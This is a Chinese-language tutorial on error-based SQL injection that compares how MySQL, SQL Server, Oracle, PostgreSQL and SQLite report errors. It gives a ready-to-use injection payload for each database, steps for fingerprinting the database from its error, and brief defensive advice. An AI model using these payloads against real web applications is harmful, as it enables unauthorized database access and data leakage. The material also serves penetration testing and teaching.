不同数据库在报错注入时返回的报错信息具有显著差异,了解这些差异可以帮助快速判断数据库类型并构造针对性的注入攻击语句。以下是主流数据库的典型报错模式及对比:
目录
1. MySQL
2. Microsoft SQL Server
3. Oracle
4. PostgreSQL
5. SQLite
对比表
实战应用:通过报错快速判断数据库类型
防御建议
1. MySQL
报错特征:
- 关键词
"You have an error in your SQL syntax"
- 错误中包含
near
关键字(显示错误位置)。 - 使用特定函数触发报错(如
extractvalue
、updatexml
)。
示例:
' AND updatexml(1,concat(0x7e,version()),0) --+
错误信息:
XPATH syntax error: '~5.7.38-log'
其他特征:
- 错误代码以
1064
开头(语法错误通用代码)。 - 默认关闭详细错误(需配置
display_errors=On
才会显示完整信息)。
2. Microsoft SQL Server
报错特征:
- 关键词
"Conversion failed"
或"Incorrect syntax"
。 - 错误信息格式清晰,明确提示数据类型或语法问题。
- 错误代码前缀为
Msg 245
、Msg 8114
等(不同代码代表不同问题)。
示例:
' AND 1=convert(int,@@version) --+
错误信息:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019...' to data type int.
其他特征:
- 可利用错误堆栈信息泄露敏感数据(如
error=
后的内容)。
3. Oracle
报错特征:
- 标准错误前缀
"ORA-xxxxx"
(如ORA-01756
)。 - 错误信息直接提示具体问题(如
quoted string not properly terminated
)。 - 依赖精度或类型转换错误触发信息泄露。
示例:
' AND 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1)) --+
错误信息:
ORA-20000: Oracle Database 19c Enterprise Edition...
其他特征:
- 系统视图如
v$version
、user_tables
常用于泄露信息。 - 报错空间限制较严格(需通过
substr()
分段获取数据)。
4. PostgreSQL
报错特征:
- 关键词
"ERROR:"
开头,错误信息简洁。 - 类型转换或函数参数不匹配时触发详细报错。
- 错误代码格式如
22P02
(无效文本表示)。
示例:
' AND 1=cast(version() as int) --+
错误信息:
ERROR: invalid input syntax for integer: "PostgreSQL 14.4..."
其他特征:
- 可利用
pg_read_file
等函数泄露文件内容。
5. SQLite
报错特征:
- 错误信息较简洁,格式为
"Error: near ...: syntax error"
。 - 错误可能提示未找到表名或列名。
示例:
' AND 1=load_extension(0,char(116,101,115,116)) --+
错误信息:
Error: not authorized to use function: load_extension
对比表
数据库 | 典型报错触发方式 | 错误前缀或关键词 | 示例函数/句法 |
---|---|---|---|
MySQL | XPATH函数、除零错误 | syntax error + near | updatexml 、extractvalue |
SQL Server | 类型转换(如convert ) | Msg 8114 、Conversion failed | convert(int,@@version) |
Oracle | 精度错误或虚拟表访问 | ORA-xxxxx | ctxsys.drithsx.sn() |
PostgreSQL | 类型转换(如cast ) | ERROR: + 错误代码(如22P02 ) | cast(version() as int) |
SQLite | 未授权函数调用 | Error: near ... | load_extension() |
实战应用:通过报错快速判断数据库类型
-
触发一个可控错误:
输入' AND 1=invalid_func(1) --
观察错误信息:XPATH
错误 → MySQLinvalid function
或Msg
→ SQL ServerORA-00904
→ OracleERROR: function invalid_func
→ PostgreSQL
-
校验函数是否存在:
探测数据库特有函数(如Oracle的dbms_xmlgen.getxml
):' AND dbms_xmlgen.getxml('select 1 from dual')=1 --+
防御建议
- 关闭详细错误:禁止返回数据库原始错误信息(显示统一提示页面)。
- 参数化查询:使用预编译语句(如
PreparedStatement
)。 - 权限控制:数据库账号仅授予最低权限。
通过结合错误特征和数据库特有函数,可以快速定位目标数据库类型,并调整攻击策略(如改用特定于该数据库的注入手法)。